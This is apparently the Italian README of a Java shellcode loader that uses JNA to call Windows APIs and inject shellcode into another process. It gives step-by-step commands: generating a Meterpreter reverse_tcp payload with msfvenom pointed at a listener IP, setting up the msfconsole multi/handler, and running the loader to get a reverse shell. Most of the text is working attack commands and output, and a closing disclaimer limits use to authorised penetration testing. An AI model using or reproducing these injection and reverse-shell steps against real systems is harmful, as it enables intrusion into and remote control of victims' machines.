yzddmr6/java-shellcode-loader基于Java实现的Shellcode加载器
Caricatore di ShellCode implementato in Java, compatibile con piattaforme a 32 e 64 bit.
Il principio fondamentale è l'utilizzo di JNA per chiamare le API di Windows e realizzare l'iniezione dello shellcode.
Ambiente di esecuzione: JRE >= 1.5
Nota: questo progetto è già integrato nel modulo ShellCodeLoader di yzddmr6/As-Exploits.
maven package
Per impostazione predefinita viene iniettato casualmente un processo a 32 bit, utilizzare quindi uno shellcode a 32 bit
java -jar ShellcodeLoader.jar shellcode_hex
Per iniettare uno shellcode x64
java -jar ShellcodeLoader.jar --x64 shellcode_hex
Genera uno ShellCode in formato hex
┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.10 LPORT=4444 -f hex
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of hex file: 708 bytes
fce88f0000006089e531d2648b5....
Poi avvia l'ascolto
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.88.10
set LPORT 4444
exploit -j
java -jar ShellcodeLoader.jar fce88f0000006089e531d2648b5....
In questo modo riceverai una Meterpreter reversa
Questo progetto è destinato esclusivamente a test di penetrazione legittimi e allo studio da parte degli appassionati. Non utilizzarlo per scopi illegali, in caso contrario te ne assumi la piena responsabilità.